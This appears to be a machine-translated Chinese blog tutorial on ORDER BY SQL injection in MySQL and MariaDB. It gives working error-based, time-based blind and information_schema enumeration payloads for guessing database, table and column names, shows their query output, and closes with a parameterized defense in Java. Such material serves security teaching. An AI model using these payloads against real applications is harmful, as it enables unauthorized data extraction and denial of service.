当前位置:网站首页>Order by injection
Order by injection
2022-07-02 11:22:00 【Little mo God and his】
Order by Inject
order by Injection as the name suggests, controllable parameters are oder by after , It may appear in the sorting function , Imagine a function that can choose the ranking list according to the parameters entered by the user , For example, by the name of the product select * from test01 order by [name]; Or through the price of goods select * from test01 order by [price];.
for example select * from test01 order by [args];
You can test whether there is an injection point through the following methods :
Use error reporting
You can construct some error reporting statements to get relevant information
regexp
select 1 regexp if(1=1,1,0x00) # Normal display
select 1 regexp if(1=2,1,0x00) # There is an error
This is in 10.5.12-MariaDB-1 Not anymore , And in the mysql5.7 Can also be used
#10.5.12-MariaDB-1 All of them are normal
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
#mysql5.7.18 May be an error
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)
mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
updatexml
This is ok
updatexml(1,if(1=1,1,user()),1) # Normal display
updatexml(1,if(1=2,1,user()),1) # There is an error
extractvalue
This is also easy to use
extractvalue(1,if(1=1,1,user()),1) # Normal display
extractvalue(1,if(1=2,1,user()),1) # There is an error
When an error is reported, the display is BAN You can consider Time blind note .
Blind injection of time
Note that if you directly if(1=2,1,sleep(2)),sleep Time will become 2* The number of records in the current table , It will cause a certain denial of service attack on the server . therefore sleep The time can be set smaller .
if(1=1,1,sleep(time)) # Normal display
if(1=2,1,sleep(time)) # sleep (time* Items in table ) second
Data guessing
The core of this part is where Injection makes no difference .
Guess the database name
#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
And my database 10.5.12-MariaDB-1 Cannot be used regexp To guess , So it can be used updexml and extractvalue.
#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
In fact, there is no difference in using ideas , Then the following online payload Only in mysql5.5 success , Up 5.7 No way. .
Guess the name of the watch
select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
Guess the names
select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
The reasons are as follows payload Used in the previous version NULL Instead of reporting an error .
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
| 1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
| NULL |
+------------------------------------+
and select * from table order by NULL and select * from table order by 1 The result is the same .
MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
produce order by Why
order by The parameter after cannot be wrapped in single quotation marks , This will be parsed into a simple string .
mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 4 | jack | 123456 |
| 2 | jackk | 678910 |
+----+----------+--------+
mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
You can find select * from test01 order by 'passwd' Not sorted as expected .
In precompiling, if you are directly in select * from test01 order by ? of use passwd Occupying a seat will passwd As a string and become select * from test01 order by 'passwd'.
Therefore, string splicing will be used , And with string splicing SQL Inject The possibility of .
String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);
At this time, the precompiled translation is actually equivalent to many times at one stroke , Our malicious input will also be precompiled .
The first means of defense is the common filter check , Restrict illegal input . The other is to use Serial number Instead of Field name .
for example passwd It's No 3 We can use select * from test01 order by 3 To replace .
As for programming, it is also very simple , You can set a enumeration perhaps MAP Variable , Then take the user input passwd Compare and return Serial number , Then take Serial number precompile .
int index = map.get("passwd"); // from map Get the corresponding serial number
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);
边栏推荐
- Is the Ren domain name valuable? Is it worth investing? What is the application scope of Ren domain name?
- ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
- TIPC协议
- Openmldb meetup No.4 meeting minutes
- 数字化转型挂帅复产复工,线上线下全融合重建商业逻辑
- How to implement tabbar title bar with list component
- Creation and use of unified links in Huawei applinking
- ros缺少xacro的包
- Resources读取2d纹理 转换为png格式
- [idea] use the plug-in to reverse generate code with one click
猜你喜欢

PHP tea sales and shopping online store

TIPC messaging3

【IDEA】使用插件一键逆向生成代码

What are the software product management systems? Inventory of 12 best product management tools

CentOS8之mysql基本用法

三.芯片启动和时钟系统

enumrate的start属性的坑

mmrotate旋转目标检测框架使用记录
![[play with FPGA learning 5 in simple terms ----- reset design]](/img/57/816a59787259dc32b52897c069e1a6.png)
[play with FPGA learning 5 in simple terms ----- reset design]

JS——每次调用从数组里面随机取一个数,且不能与上一次为同一个
随机推荐
Redis超出最大内存错误OOM command not allowed when used memory > 'maxmemory'
CTF record
mysql 基本语句
Some things configured from ros1 to ros2
Uncover the secrets of Huawei application market application statistics
The working day of the month is calculated from the 1st day of each month
II Stm32f407 chip GPIO programming, register operation, library function operation and bit segment operation
PLC-Recorder快速监控多个PLC位的技巧
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
What are the software product management systems? Inventory of 12 best product management tools
LVM操作
One trick to quickly realize custom application titlebar
CentOS8之mysql基本用法
sqlite 修改列类型
TIPC 寻址2
TIPC messaging3
[in simple terms, play with FPGA learning 3 ----- basic grammar]
String (Analog
在连接mysql数据库的时候一直报错
VS2019代码中包含中文内容导致的编译错误和打印输出乱码问题